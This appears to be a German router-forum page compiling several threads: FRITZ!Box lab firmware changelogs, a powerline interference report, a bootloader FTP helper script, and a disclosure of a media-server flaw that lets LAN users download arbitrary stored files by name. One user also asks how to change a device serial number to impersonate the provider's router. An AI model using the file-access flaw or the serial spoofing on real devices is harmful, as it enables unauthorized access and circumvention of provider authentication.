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Channel: IP-Phone-Forum - FRITZ!Box tot? Recover, Firmware Up-/ Downgrade
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Devolo dLAN 1200+ Powerlan Adapter stört Fritzbox 7490 Mehr zum Thema Devolo dLAN 1

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Hallo,

ich benutze Devolo dLAN 1200+ Powerlan Adapter um T-entertain zu nutzen.
Habe einen VDSL 100 Anschluss bei der Telekom (ganz neu).
Ich hatte von Anfang an Probleme, dass die Internetverbindung dauernd abbrach und sich sofort neu verbunden hat. So macht Fernsehschauen keinen Spass.
Es waren diverse Techniker vor Ort (neue Dosen usw.). Techniker meinten immer wieder, "Alles super" hahaha
Alles half nichts.
Auch ist der Fehlerzähler in der Fritzbox immer fast übergelaufen (mehr als 1 Mio. Fehler innerhalb von Sekunden!)

Nun waren zwei "Supertechniker" der Telekom da und haben den Fehler gefunden!

Der Devolo dLAN 1200+ Powerlan Adapter war schuld!(obwohl von T-com empfohlen!)

Der Techniker hat seinen Laptop an die Devolos angescholssen, kurz ein Programm zum "entstören" der
Devolos gestartet und schon ging alles alles perfekt, seit Tagen.

Er meinte, dass das Programm von Devolo extra für die Telekom geschrieben wurde und ich auf gar keinen Fall Updates
für die Devolos machen darf, sonst ist alles wieder wie vorher.

Nun will ich mir noch ein Devolo dLAN 1200+ Powerlan Adapter zulegen, der aber auch diese
Entsörung braucht.

Ich weiß leider nicht, wie das Programm heißt (wollte der Techniker nicht verraten).
Ich habe mir schon die Finger wundgegoogelt.

Wer kennt dieses "Entstörprogramm"???

Fritzbox 7490, Laborfirmware 6.69-41670
2x Devolo dlan 1200+ Powerlan Adapter (ohne WiFi)
T-entertain MR400

FRITZ!Box 7490 Labor-Firmware FRITZ!OS 6.69-41756 (01.11.2016)

[Info] FRITZ!Box 7390 Labor-Firmware FRITZ!OS 06.69-41765 (01.11.2016)

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Verbesserungen in FRITZ!OS 6.39-41765

Internet

  • NEU - Option für selbständige Portfreigaben (UPnP/PCP) pro Gerät aktivierbar
  • NEU - Portfreigaben zusammengefasst mit MyFRITZ!-Freigaben und IPv6-Freigaben > mehr
  • NEU - Unterstützung von reinen IPv6-Geräten in der Kindersicherung
  • NEU - komplette Firewall-Freigaben für nachgelagerte Router unter IPv6 möglich
  • NEU - statische Routen für IPv6 definierbar

WLAN

  • NEU - Anzeige der Eigenschaften von WLAN-Geräten erweitert (Dual Band)

Telefonie

  • NEU - Rufumleitung auf alle Personen in einem Telefonbuch anwendbar

Heimnetz

  • NEU – Option für selbständige Portfreigaben (UPNP/PCP) pro Gerät aktivierbar
  • NEU - Änderung der IP-Adresse (DHCP) direkt in den Geräte-Details

DECT

  • NEU - Unterstützung für den Betrieb von CAT-iq 2.0 fähigen Handgeräten > mehr
  • NEU - Es können in FRITZ!Fon nun auch ganze Ordner zur Musikliste hinzugefügt werden (es wird nur eine Unterebene unterstützt)
  • NEU - Neuer Startbildschirm "Smart Home" Für den Überblick und das schnelle Schalten angeschlossener Smart Home Geräte (bspw. FRITZ!DECT 200*).
  • NEU - Vorbereitung für den neuen Nachtmodus (Startbildschirm FRITZ!Fon*)

Smart Home

  • NEU - Gruppenschaltung für Heizkörperregler
  • NEU - Neue Option für Schalten der intelligenten Steckdose FRITZ!DECT 200* durch Geräusche wie z.B. Klatschen oder Klopfen
  • NEU - Darstellung des Temperaturverlaufs der letzten 24h bei Geräten mit Temperatur-Sensor
  • NEU - Tastensperre in Zugriff am Gerät und per Fernzugriff aufgeteilt

System

  • NEU - Diagnose und Wartung im FRITZ!-Labor > mehr
  • NEU - MyFRITZ!-Bedienoberfläche mit neuen Funktionen angereichert und im neuen Responsive Design
  • NEU - FRITZ!NAS-Bedienoberfläche nun auch optimal auf Smartphone und Tablet abgestimmt (Responsive Design)

USB/UMTS

  • NEU - Für Mobilfunksticks im Modembetrieb empfangene SMS als Ereignis ausgeben

* Hinweis zu FRITZ!DECT 200 und FRITZ!Fon:
Mindestversion 3.80. Aktualisierung der FRITZ!Fon-Handgeräte erforderlich



VDSL: 1.68.26.50
ADSL:
DECT: 5.24



Download

[Info] FRITZ!Box 7560 Labor Firmware 149.06.69- 41802 vom 02.11.2016

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Download

Neue Features: - WLAN: Band Steering für die beste WLAN-Verbindung
- Internet: Anzeige der Datenauslastung durch Gäste im Online-Monitor und Bandbreitenreservierung für das Heimnetz
- DECT: Unterstützung für den Betrieb von CAT-iq 2.0 fähigen Handgeräten
- DECT: neue Funktionen für FRITZ!Fon
- DECT: Gruppenschaltung für Heizkörperregler
- System: Verbesserungen Stabilität

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FRITZ! Labor - Neuerungen und Verbesserungen
Beachten Sie die Hinweise zum Laborupdate hier dieser Datei.
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Neue Funktionen in diesem Labor

Internet:
NEU - Anzeige der Auslastung durch Downloads von Gästen im Online-Monitor
NEU - Bandbreitenreservierung für das Heimnetz (>> mehr [4])
NEU - Option für selbständige Portfreigaben (UPnP/PCP) pro Gerät aktivierbar
NEU - Portfreigaben zusammengefasst mit MyFRITZ!-Freigaben und IPv6-Freigaben (>> mehr [5])
NEU - Unterstützung von reinen IPv6-Geräten in der Kindersicherung

WLAN:
NEU - Band Steering: Optional lenkt FRITZ!Box ausgewählte WLAN-Geräte gezielt auf das 2,4 oder 5-GHz-Frequenzband zur Verbesserung der Verbindung (>> mehr [1])
NEU - Löschen inaktiver WLAN-Geräte ohne individuelle Einstellungen aus der Liste bekannter WLAN-Geräte

Heimnetz:
NEU – Option für selbständige Portfreigaben (UPNP/PCP) pro Gerät aktivierbar
NEU - Änderung der IP-Adresse (DHCP) direkt in den Geräte-Details

DECT:
NEU - Unterstützung für den Betrieb von CAT-iq 2.0 fähigen Handgeräten (>> mehr [3])
NEU - Es können in FRITZ!Fon nun auch ganze Ordner zur Musikliste hinzugefügt werden (es wird nur eine Unterebene unterstützt)
NEU - Neuer Startbildschirm "Smart Home" Für den Überblick und das schnelle Schalten angeschlossener Smart Home Geräte (bspw. FRITZ!DECT 200*).
NEU - Vorbereitung für den neuen Nachtmodus (Startbildschirm FRITZ!Fon*)

Smarthome:
NEU - Gruppenschaltung für Heizkörperregler
NEU - Neue Option für Schalten der intelligenten Steckdose FRITZ!DECT 200* durch Geräusche wie z.B. Klatschen oder Klopfen
NEU - Darstellung des Temperaturverlaufs der letzten 24h bei Geräten mit Temperatur-Sensor
NEU - Tastensperre in Zugriff am Gerät und per Fernzugriff aufgeteilt

System:
NEU - Diagnose und Wartung im FRITZ!-Labor (>> mehr [2])
NEU - Unterstützung von "Zuhause Start" Tarifen der Deutschen Telekom

USB/UMTS:
NEU - Für Mobilfunksticks im Modembetrieb empfangene SMS als Ereignis ausgeben

*Hinweis zu FRITZ!DECT 200 und FRITZ!Fon: Mindestversion 3.80. Aktualisierung der FRITZ!Fon-Handgeräte erforderlich.

[Info] FRITZ!Box 7580 Labor Firmware 153.06.69- 41803 vom 02.11.2016

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Internet:

  • Verbesserung - Stabilität
  • Behoben - Anzeige von Gastgeräten unter Portfreigaben und in der Kindersicherung
  • Behoben - Bandbreitenreservierung stört Upload
  • Behoben - Kindersicherung funktioniert nach Ticket-Verlängerung nicht mehr zuverlässig
  • Behoben - nicht klickbare Checkboxen in den Zugangsprofilen der Kindersicherung


Telefonie:
  • Behoben - Einbindung eines neuen Telefonbuchs vom Anbieter Google nicht möglich


WLAN:

  • Verbesserung - Zeitpunkt des letzten Autokanal-Scans in der Graifk "WLAN-Umgebung" ersichtlich.
  • System:
  • Verbesserung - Benutzerführung bei der Wiederherstellung von gesichterten Einstellungen
  • Verbesserung - Push Service Übersicht


>>>Download<<<

[Info] Fritz!Box 4040 Release-Firmware 155.06.55 (Build 41863)

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Produkt: FRITZ!Box 4040

Version: FRITZ!OS 6.55

Sprache: deutsch, englisch, französisch, italienisch, spanisch, polnisch

Release-Datum: 03.11.2016



Neue Features mit 6.55:

Verbesserung - Stabilität verbessert

Download

FRITZ!Box 7490 Labor-Firmware FRITZ!OS 6.69-41875 (04.11.2016)

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--- Weitere Verbesserungen in FRITZ!OS 6.69-41875 ---

DSL:


  • Behoben - DSL-Leitungstest auf Anmeldeseite wieder möglich

Internet:


  • Verbesserung - Textüberarbeitungen für Portfreigaben
  • Behoben - Fehler nach Übernahme von Einstellungsänderungen in der Kindersicherung

System:


  • Verbesserung - Zeitschaltungen für Smartphone und Tablet optimiert
  • Verbesserung - Anzeige der Anmeldungen über FTP oder SMB im Ereignissprotokoll
  • Behoben - Fehler im Assistenten zur Einstellungsübernahme ausgewählter Einstellungen

WLAN:


  • Behoben - WPS bei zeitgleich aktiven APs wieder zuverlässig verhindert



VDSL-Version: 1.100.135.11
ADSL-Version: 1.100.8.15
DECT-Version: 5.26


DL: https://avm.de/fileadmin/user_upload...7490-41875.zip
Feedback: https://avm.de/fritz-labor/fritzbox-7490/ihr-feedback/

Seriennummer der Fritzbox (6490) ändern ?

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Wie kann ich die Seriennummer meiner Fritzbox 6490 ändern ?

Hintergrund - mein Kabelnetz Provider (unitymedi - KabelBW) hat mir unlängst die Provider Fritzbox zurückgesetzt ohne mich darüber zu informieren oder zu fragen. Das klappt über den TR069 Backdoor Zugang. Damit waren alle Einstellungen, Portfreigaben, DECT Telefone, Nachtabschaltung, WLAN Einstellungen usw. dahin und ich musste manuell mit einem Laptop und einem LAN Kabel an die Fritzbox im Keller rein um das wieder zu konfigurieren. Das will ich dringend abstellen und daher eine eigene Fritzbox einsetzen. Glücklicherweise gibt es diese Möglichkeit ja seit Mitte diesen Jahres...und das würde der Provider auch machen.
Aber: durch das aktivieren der eigenen Hardware verliere ich meine statische IP Adresse. Das sei technisch leider nicht anders machbar wurde mir erklärt. Das geht gar nicht, denn ich brauche die statische IP um eigene Server zu betreiben. Also wurde mir deutlich und vorsichtig erklärt, das die Nutzerauthentifizierung im Kabelnetz nur über MAC und Sereinnummer (und Telefonnummer bei VoIP) der Fritzbox läuft.....hust.

MAC Adresse sollte machbar sein und die Telefonnummer ist einstellbar - aber wie und wo ändere ich die Seriennummer der von mir neu gekauften Fritzbox 6490 ? Falls dazu das flashen eine EEPROMs (extern - also ausbauen) nötig ist, gerne. Aber ich muss diese Seriennummer ändern. Vermutlich geht das nicht über die Firmware, denn die Seriennummer wird vor dem Flashvorgang ja nicht abgefragt. Müsste also (vermutlich) irgendwo separat abgelegt sein. Ich gehe aber mal von einem beschreibbaren Speicher aus, denn bei der Produktion muss das ja programmiert werden.

[Info] FRITZBox 6820-Labor-06.69-41788 v. 04.11.2016

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Neue Features: - Internet: Anzeige der Datenauslastung durch Gäste im Online-Monitor und Bandbreitenreservierung für das Heimnetz

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FRITZ! Labor - Neuerungen und Verbesserungen
Beachten Sie die Hinweise zum Laborupdate hier dieser Datei.
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Neue Funktionen in diesem Labor

LTE:
NEU – SMS-Empfang unterstützt - empfangene SMS werden als Ereignis ausgegeben

Internet:
NEU - Anzeige der Auslastung durch Downloads von Gästen im Online-Monitor
NEU - Unterstützung von reinen IPv6-Geräten in der Kindersicherung
NEU - Bandbreitenreservierung für das Heimnetz (>> mehr)
NEU - Option für selbständige Portfreigaben (UPnP/PCP) pro Gerät aktivierbar
NEU - Portfreigaben zusammengefasst mit MyFRITZ!-Freigaben und IPv6-Freigaben (>> mehr)
NEU - komplette Firewall-Freigaben für nachgelagerte Router unter IPv6 möglich
NEU - statische Routen für IPv6 definierbar

WLAN:
NEU – Löschen inaktiver WLAN-Geräte ohne individuelle Einstellungen aus der Liste bekannter WLAN-Geräte

Heimnetz:
NEU – Option für selbständige Portfreigaben (UPNP/PCP) pro Gerät aktivierbar
NEU – Änderung der IP-Adresse (DHCP) direkt in den Geräte-Details

System:
NEU – Diagnose und Wartung im FRITZ!-Labor (>> mehr)

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[1] Diagnose und Wartung im FRITZ!-Labor

Zur Produktverbesserung kann AVM im Rahmen des FRITZ!Labors technische Diagnosedaten und Fehlerberichte der FRITZ!Box verwenden. Diese Daten dienen ausschließlich technischen Anpassungen und Optimierungen der Produkte und sind für AVM nicht personenbeziehbar. AVM gibt diese Daten nicht an Dritte weiter. Bei Bedarf kann AVM detaillierte Diagnosedaten nutzen oder Einstellungen anpassen.
Nach dem Update auf eine FRITZ!Labor-Version wird Ihnen die Funktion "Diagnose und Wartung" beim ersten Öffnen der FRITZ!Box-Benutzeroberfläche angeboten. Unter "Inhalt/AVM-Dienste" finden Sie weitere Informationen und können diese Einstellung jederzeit ändern. Dort können Sie uns auch Ihre E-Mailadresse für etwaige Rückfragen durch AVM nennen.

[2] Bandbreitenreservierung für das Heimnetz

Alle an der FRITZ!Box angeschlossenen Geräte teilen sich die am Anschluss zur Verfügung stehenden Bandbreite. Das gilt für die Geräte im Heimnetz und im Gastnetz.
Mit der neuen Funktion können Sie festlegen, wie viel Bandbreite für die Geräte im Heimnetz reserviert werden soll. Die für das Heimnetz reservierte Bandbreite kann dann im Gastnetz nur genutzt werden, wenn sie im Heimnetz nicht benötigt wird.
Im Online-Monitor (Internet) können Sie sehen, wie viel Bandbreite in Ihrem Heimnetz von Gästen in Anspruch genommen wird.
Aktiviert und eingestellt wird diese Bandbreitenreservierung im Bereich Internet unter Filter auf dem Reiter Priorisierung.

[3] Portfreigaben zusammengefasst mit MyFRITZ!-Freigaben und IPv6-Freigaben

An einer FRITZ!Box angeschlossene Geräte sind sicher vor unerwünschten Zugriffen aus dem Internet. Einige Anwendungen (z.B. Online-Spiele) und Geräte (z.B. Spielekonsolen) müssen jedoch für andere Teilnehmer des Internets erreichbar sein. Durch Portfreigaben erlauben Sie solche Verbindungen.

Die Einstellungen für Portfreigaben und MyFRITZ!-Freigaben finden Sie gebündelt unter Internet->Freigaben->Portfreigaben, orientiert an den jeweiligen Heimnetzgeräten.

Damit steht Ihnen eine übersichtlichere und kompaktere Ansicht zur Verfügung, die auch die Wahrscheinlichkeit von Fehlkonfigurationen reduziert.

Eine Portfreigabe definieren Sie jeweils an dem entsprechenden Heimnetzgerät. Zugriffe auf diesen Port werden dann an Ihr Heimnetzgerät weitergeleitet.

In Ihrem Heimnetz befindliche Geräte können gewünschte Portfreigaben über die Protokolle UPnP und PCP selbständig anfordern. Dazu können Sie für jedes einzelne Gerät "Selbständige Portfreigabe" aktivieren.

Wenn Sie MyFRITZ! nutzen, können Sie MyFRITZ-Freigaben für Ihre Heimnetzgeräte definieren, auf die Sie über die Webseite myfritz.net jederzeit zugreifen können.
Dazu benötigen Sie ein MyFRITZ!-Konto, dass sie unter internet->MyFRITZ!-Konto einrichten können.

Ihre bereits angelegten Portfreigaben bleiben beim Update erhalten.

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Weitere Verbesserungen und Änderungen in diesem Labor
Weitere Verbesserungen in den verschiedenen Laborversionen:

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Weitere Verbesserungen im FRITZ!OS 6.69-41788

LTE:
Verbesserung - Verbesserung von Fehlerbehandlungen beim Attach
Verbesserung - Unterstützung des Empfangs von Multi-Part-SMS
Verbesserung - Verbesserte Zeichenbehandlung für SMS-Empfang

Internet:
Verbesserung - Stabilität der Internetverbindung erhöht
Verbesserung - Beschriftung der Zeitachsen im Online-Monitor
Behoben - Auslastung der Internetverbindung wurde bei verschiedenen Anwendungen falsch berechnet
Behoben - Filter der Kindersicherung bleiben auch nach Einstellungsänderungen aktiv
Behoben - MyFRITZ!-Freigaben: manuelle Eingabe nicht möglich
Behoben - Portfreigabe bietet nicht Option "HTTPS-Server"
Verbesserung - Textüberarbeitungen für Portfreigaben
Behoben - Fehler nach Übernahme von Einstellungsänderungen in der Kindersicherung

Heimnetz:
Behoben - Fehler beim Ändern der IP-Adresse in den Gerätedetails

WLAN:
Verbesserung - Zeitpunkt des letzten Autokanal-Scans in der Graifk "WLAN-Umgebung" ersichtlich
Behoben - WPS bei zeitgleich aktiven APs wieder zuverlässig verhindert

System:
Verbesserung - Benutzerführung bei der Wiederherstellung von gesichterten Einstellungen
Verbesserung - Push Service Übersicht
Verbesserung - Zeitschaltungen für Smartphone und Tablet optimiert
Behoben - Fehler im Assistenten zur Einstellungsübernahme ausgewählter Einstellungen

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Weitere Verbesserungen im FRITZ!OS 6.69-41540

Internet:
Verbesserung - Anzeige der Online-Zeit in der Übersicht der Kindersicherung
Verbesserung - Optimierung des Registrierungsverfahrens bei myfritz.net
Verbesserung - Bearbeitung Portfreigaben mit Tablet und Mobiltelefon möglich (Responsive Design)
Verbesserung - Selbständige Portfreigaben werden am Gerät angezeigt
Verbesserung - additive Darstellung der im Online-Monitor angezeigten Bandbreiten vom Heimnetz und von den Gästen
Verbesserung - Filter für Internetseiten berücksichtigt jetzt auch bei https-Aufrufen gesperrte Domains
Verbesserung - Eingabeprüfung beim Kindersicherungs-Ticket
Änderung: Die Filtereinstellung in der Kindersicherung für komplettes Sperren/Erlauben von https-Anfragen entfällt
Änderung - Farbe für die Bandbreitennutzung durch Gäste im Online-Monitor geändert
Verbesserung - Filter für Internetseiten unterstützt jetzt auch https-Aufrufe

Heimnetz:
Änderung - LAN-Port auf Power-Mode umgestellt

Sicherheit:
Änderung – Die Anmeldung an der FRITZ!Box-Oberfläche ist 20 min gültig
Änderung – Die Bedienoberfläche fritz.box fordert für die Ausführung bestimmter Einstellungs-Änderungen oder Funktionen eine Bestätigung mit Hilfe einer Taste an der FRITZ!Box

System:
Verbesserung - Datensicherung beim Update mit einer FRITZ!OS-Datei optional
Verbesserung - Deutlichere Darstellung einer "Exposed Host"-Freigabe in der Änderungsnotiz vom Push Service
Verbesserung - Textüberarbeitungen in den Mails vom Push Service
Verbesserung - Push Service versendet da Protokoll der An- und Abmeldungen am WLAN-Gastzugang jetzt auch bei in den WLAN-Ereignissen deaktivierten Informationen zu An- und Abmeldungen
Verbesserung – Erweiterung der Push Mails mit Änderungsnotizen zu ausgewählten Einstellungen
Verbesserung – Push Service fasst zeitlich nah zusammen hängende Mails zusammen
Verbesserung – Push Mail für die Nutzung des Gastzugangs unabhängig von der Einstellung für die Anzeige der An/Abmeldeereignisse
Verbesserung – Ereignisprotokoll an verschiedene Displaygrößen angepasst
Verbesserung – Wichtige Mitteilungen für den sicheren und zuverlässigen Betrieb jetzt auch über MyFRITZ!App und per Push Mail. (Bislang: nur Info-LED und Startseite fritz.box)
Verbesserung – Stabilität verbessert


ftp://ftp.avm.de/fritz.box/beta/FRIT...6.69-41788.zip

[Info] FRITZ!Box 7362 SL Labor-Firmware FRITZ!OS 6.69-41900 (07.11.2016)

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Neue Funktionen in diesem Labor

Internet:
NEU - Anzeige der Auslastung durch Downloads von Gästen im Online-Monitor
NEU - Bandbreitenreservierung für das Heimnetz (>> mehr [3])
NEU - Option für selbständige Portfreigaben (UPnP/PCP) pro Gerät aktivierbar
NEU - Portfreigaben zusammengefasst mit MyFRITZ!-Freigaben und IPv6-Freigaben (>> mehr [4])
NEU - Unterstützung von reinen IPv6-Geräten in der Kindersicherung

WLAN:
NEU - Löschen inaktiver WLAN-Geräte ohne individuelle Einstellungen aus der Liste bekannter WLAN-Geräte

Heimnetz:
NEU – Option für selbständige Portfreigaben (UPNP/PCP) pro Gerät aktivierbar
NEU - Änderung der IP-Adresse (DHCP) direkt in den Geräte-Details

DECT:
NEU - Unterstützung für den Betrieb von CAT-iq 2.0 fähigen Handgeräten (>> mehr [2])
NEU - Es können in FRITZ!Fon nun auch ganze Ordner zur Musikliste hinzugefügt werden (es wird nur eine Unterebene unterstützt)
NEU - Neuer Startbildschirm "Smart Home" Für den Überblick und das schnelle Schalten angeschlossener Smart Home Geräte (bspw. FRITZ!DECT 200*).
NEU - Vorbereitung für den neuen Nachtmodus (Startbildschirm FRITZ!Fon*)

Smarthome:
NEU - Gruppenschaltung für Heizkörperregler
NEU - Neue Option für Schalten der intelligenten Steckdose FRITZ!DECT 200* durch Geräusche wie z.B. Klatschen oder Klopfen
NEU - Darstellung des Temperaturverlaufs der letzten 24h bei Geräten mit Temperatur-Sensor
NEU - Tastensperre in Zugriff am Gerät und per Fernzugriff aufgeteilt

System:
NEU - Diagnose und Wartung im FRITZ!-Labor (>> mehr [1])
NEU - Automatische Einrichtung an Anschlüssen der Deutschen Telekom
NEU - Unterstützung von "Zuhause Start" Tarifen der Deutschen Telekom

USB/UMTS:
NEU - Für Mobilfunksticks im Modembetrieb empfangene SMS als Ereignis ausgeben

Download:
ftp://ftp.avm.de/fritz.box/beta/FRIT...6.69-41900.zip


Gesendet von iPhone mit Tapatalk

[HowTo] ADAM Bootloader Verbindungstool für Windows

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Da ich immer mal den Zeitpunkt verrafft habe mit der FTP Verbindung, habe ich mir eine kleine Batch Datei geschrieben. Da ich hier für Windows direkt nichts im Forum gefunden habe.

Diese würde ich nun gerne den anderen, die Probleme mit der Verbindung haben hier zur Verfügung stellen.

Falls nicht erwünscht bitte Bescheid geben dann entferne ich es wieder oder ein Moderator.

adam.bat
Code:

@ECHO off

SET ip=192.168.178.1


ECHO "Waiting for shutdown... [%ip%]"


:fbon
PING %ip% -n 1 -w 1 | FIND /i "TTL" >nul 2>&1


if errorlevel 1 (
GOTO fboff
) else (
timeout 1 >nul
echo|set /p="."
GOTO fbon
)


:fboff
ECHO "Shutdown complete! [%ip%]"


ECHO "Waiting for turn on... [%ip%]"


:fbstilloff
PING %ip% -n 1 -w 1 | FIND /i "TTL" >nul 2>&1


if errorlevel 1 (
timeout 1 >nul
echo|set /p="."
GOTO fbstilloff
)


ECHO "Connection found! [%ip%]"


FTP %ip%

Einfachen den Code in eine neue TXT Datei kopieren und diese als xxx.bat speichern in meinem Fall z.b. als adam.bat

Diese dann einfach ausführen. Die FritzBox muss über LAN 1 angeschlossen sein, daraufhin dann Die FritzBox einfach vom Strom nehmen und wieder einstecken, das Script erkennt dann automatisch wenn die FritzBox bereit für die Verbindung ist und startet die FTP Verbindung.
Ihr müsst dann lediglich nur noch die Login Daten eingeben und könnt dann loslegen.

Getestet wurde das Script mit Windows 10 und einer 7490, 7330 und einer 7362 SL.


Zum Schluss sei noch gesagt für etwaige Schäden oder sonstige Dinge übernehme ich keine Haftung.

[Info] Dein Freund, der AVM-Mediaserver ... und wie er Dir in den Rücken fallen könnte

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Wer von uns kennt nicht den "Mediaserver", der von AVM in Werbevideos und Anleitungen angepriesen wird als Schmalspurlösung für die Bereitstellung von Medien-Dateien auf den an die FRITZ!Box angeschlossenen Speichermedien.

Dieser hatte in der Vergangenheit mal das Problem, daß er zu geschwätzig war und über ihn per "directory traversal" der lesende Zugriff auch auf interne Dateien des FRITZ!OS möglich war.

Schaut man sich heute eine aktuelle Firmware an, bietet sich immer noch ein Bild, das mir persönlich (aber ich bin da auch recht (über)empfindlich) kalte Schauer über den Rücken jagt.

Alle hier beschriebenen Aktionen und Tests wurden auf einer 6490 mit Firmware 06.63 (als jüngster Repräsentant der "stable"-Versionen) und einzelne auch zur Kontrolle auf einer 7490 mit 06.69-41875 (als Laborversion) ausgeführt - bei der 6490 wurden zuvor die Werkseinstellungen geladen, bei der 7490 allerdings nicht. Daher sind Aussagen zu irgendwelchen Standardeinstellungen bei einer "frischen" Box bei der Labor-Version nicht möglich - angesichts der Änderungen mit der neuen Möglichkeit, den Samba- und den internen FTP-Service getrennt voneinander zu aktivieren, wäre es ja auch denkbar, daß AVM das Standardstartverhalten für alle diese Services überdacht hat und der Punkt 2 in der oben verlinkten AVM-Seite künftig tatsächlich erforderlich ist.

Die Feststellung zu den Standardwerten bei der 6490 habe ich auch dreimal geprüft, indem ich immer wieder auf Werkseinstellungen zurückgesetzt habe, dann den Assistenten über mich ergehen ließ (immer schön "Weiter") und ansonsten gar nichts weiter eingestellt wurde - die Box hat ein voreingestelltes GUI-Kennwort, so daß man schon davon ausgehen kann, daß es sich im Ergebnis um eine "typische Konfiguration" bei Otto Normaluser handelt.

Aber in medias res (was paßt besser bei diesem Thema) - es gibt für diesen Mediaserver dann die Möglichkeit, dessen Home-Verzeichnis (er hat nur eines) einzustellen. Es gäbe einmal die Einstellung "keine Einschränkungen" für das NAS-Verzeichnis "/var/media/ftp" als Basis mit Zugriff auf die Unterverzeichnisse für die gemounteten USB-Volumes und alle darauf liegenden Media-Dateien (zunächst mal). Die Alternative ist das "Verschieben" des Home-Verzeichnisses auf eines der gemounteten USB-Volumes ... daher sind das wohl auch Radio-Buttons im GUI bei der Festlegung der freigegebenen Dateien in Heimnetz. Mit sehr viel gutem Willen kann man die oben verlinkte AVM-Seite in Punkt 1 so interpretieren, daß AVM das gerne auf einem gesonderten Speichermedium sehen würde - allerdings werden dafür keinerlei Vorkehrungen seitens der Firmware getroffen. Denn die Standardeinstellung der FRITZ!Box 6490 sieht nach dem Absolvieren der Assistenten bei der Ersteinrichtung dann so aus:
mediaserver_default_settings.jpg
Der Mediaserver ist also bereits aktiviert und er bietet seine Dienste auch für den internen NAS-Speicher und die beiden angeschlossenen USB-Speichergeräte an.

Die Annahme, daß sich der "Fokus" bzw. das Home-Directory bei der Änderung des freigegebenen Volumes verschiebt, kann man an den URLs für den Zugriff auf die Media-Dateien überprüfen ... enthalten sie bei "keine Einschränkungen" noch die Verzeichnisebene für den Mountpoint des Volumes, so verschwindet dieser, wenn man die Einstellung auf eines der Volumes setzt.

Nun kann man ja mit einem Media-Player (ich habe den VLC benutzt) das "Angebot" des Mediaservers überprüfen (oder mit eigenen Requests, allerdings ist das für einen Test viel Schreibarbeit), dabei ergibt sich für die erste Ebene von Ordnern folgende Ausgabe:
Code:

<?xml version="1.0"?>
<DIDL-Lite xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:upnp="urn:schemas-upnp-org:metadata-1-0/upnp/" xmlns="urn:schemas-upnp-org:metadata-1-0/DIDL-Lite/">
  <container id="4:cont1:20:0:0:" parentID="0" restricted="0">
    <dc:title>Musik</dc:title>
    <upnp:class>object.container</upnp:class>
  </container>
  <container id="4:cont1:90:0:0:" parentID="0" restricted="0">
    <dc:title>Bilder</dc:title>
    <upnp:class>object.container</upnp:class>
  </container>
  <container id="4:cont2:120:0:0:" parentID="0" restricted="0">
    <dc:title>Filme</dc:title>
    <upnp:class>object.container</upnp:class>
  </container>
  <container id="4:cont2:150:0:0:" parentID="0" restricted="0">
    <dc:title>Internetradio</dc:title>
    <upnp:class>object.container</upnp:class>
  </container>
  <container id="4:cont2:160:0:0:" parentID="0" restricted="0">
    <dc:title>Podcasts</dc:title>
    <upnp:class>object.container</upnp:class>
  </container>
  <container id="4:cont2:170:0:0:" parentID="0" restricted="0">
    <dc:title>Datei-Index</dc:title>
    <upnp:class>object.container</upnp:class>
  </container>
</DIDL-Lite>

Das korrespondiert auch mit der Anzeige eines entsprechenden Media-Players, der "sieht" auch nur diese sechs Ordner in der obersten Ebene.

Schaut man sich dann mal einen der Dateieinträge genauer an, sieht man auch die zum Download notwendige URL:
Code:

<?xml version="1.0"?>
<DIDL-Lite xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:upnp="urn:schemas-upnp-org:metadata-1-0/upnp/" xmlns="urn:schemas-upnp-org:metadata-1-0/DIDL-Lite/">
  <item id="indexation_upnp_id" parentID="4:cont2:170:0:0:" restricted="0">
    <dc:title>Indexierung starten</dc:title>
    <upnp:class>object.item.audioItem.musicTrack</upnp:class>
    <upnp:actor>Datei-Index</upnp:actor>
    <upnp:artist role="AlbumArtist">Datei-Index</upnp:artist>
    <res protocolInfo="http-get:*:audio/mpeg:DLNA.ORG_PN=MP3;DLNA.ORG_OP=01;DLNA.ORG_CI=0;DLNA.ORG_FLAGS=01700000000000000000000000000000">http://192.168.178.254:49200/AUDIO/DLNA-1-0/.start_indexation.mp3</res>
  </item>
</DIDL-Lite>

Nun sollte man ja annehmen, daß der Mediaserver auch nur die Dateien "serviert", die er in den Medienordnern anzeigt. Streng genommen ist das auch so ... das Problem (zumindest in meinen Augen) ist es aber, daß der HTTP-Server für den Download der Dateien zwar wohl noch einige (virtuelle) Pfade auswertet, aber am Ende gar nicht auf denselben Datenbestand zurückgreift wie der Mediaserver, wenn es um die Berechtigung für den Download einer Datei geht.

Das führt dann zu dem Ergebnis, daß man - sofern man den Namen der gewünschten Datei kennt, denn natürlich gibt es dort kein Inhaltsverzeichnis - über eine solche URL so ziemlich jede dort lagernde Datei laden kann, ich habe jedenfalls auf Anhieb keine Datei gefunden, bei der das nicht geklappt hätte.

Sucht man jetzt ein wenig in den Support-Daten (wir nehmen mal an, daß es keinen Shell-Zugang zur FRITZ!Box gibt, ansonsten kann man das natürlich auch einfacher haben), findet man schnell die Sektion für die "nas_db":
Code:

##### BEGIN SECTION nas_db Fritznasdb
fritznasdb not running
partition: 579924004 (part1)
  partition type:  usb read-write
  partition path:  /var/media/ftp/pentest
  db file:        /var/media/ftp/pentest/FRITZ/mediabox/fritznasdb_part.db3
  db version:      1.021.379
  scan status:    update complete
  scan start time: 08.01.2000 14:59:33
  scan end time:  08.01.2000 14:59:34
  item count:      audio: 1, video: 1, image: 1, doc: 5, other: 130
partition: 956349320 (part3)
  partition type:  internal nand
  partition path:  /var/media/ftp
  db file:        /var/media/ftp/FRITZ/mediabox/fritznasdb_part.db3
  db version:      1.021.379
  scan status:    fullscan complete
  scan start time: 08.01.2000 14:59:33
  scan end time:  08.01.2000 14:59:33
  item count:      audio: 1, video: 1, image: 1, doc: 3, other: 7
partition: 1775974996 (part2)
  partition type:  usb read-write
  partition path:  /var/media/ftp/MULTIBOOT
  db file:        /var/media/ftp/MULTIBOOT/FRITZ/mediabox/fritznasdb_part.db3
  db version:      1.021.379
  scan status:    update complete
  scan start time: 08.01.2000 14:59:34
  scan end time:  08.01.2000 14:59:34
  item count:      audio: 0, video: 0, image: 5, doc: 11, other: 68
total item count: 235
upnpcont: <root>, childs: 6, browsed: 6/50
          time: 0.102560 (total matches: 0.000246 [io: 0 R, 0 W, 0 S], browse: 0.102314 [io: 0 R, 0 W, 0 S])
upnpcont: Musik, childs: 6, browsed: 6/50
          time: 0.074611 (total matches: 0.000019 [io: 0 R, 0 W, 0 S], browse: 0.074592 [io: 0 R, 0 W, 0 S])
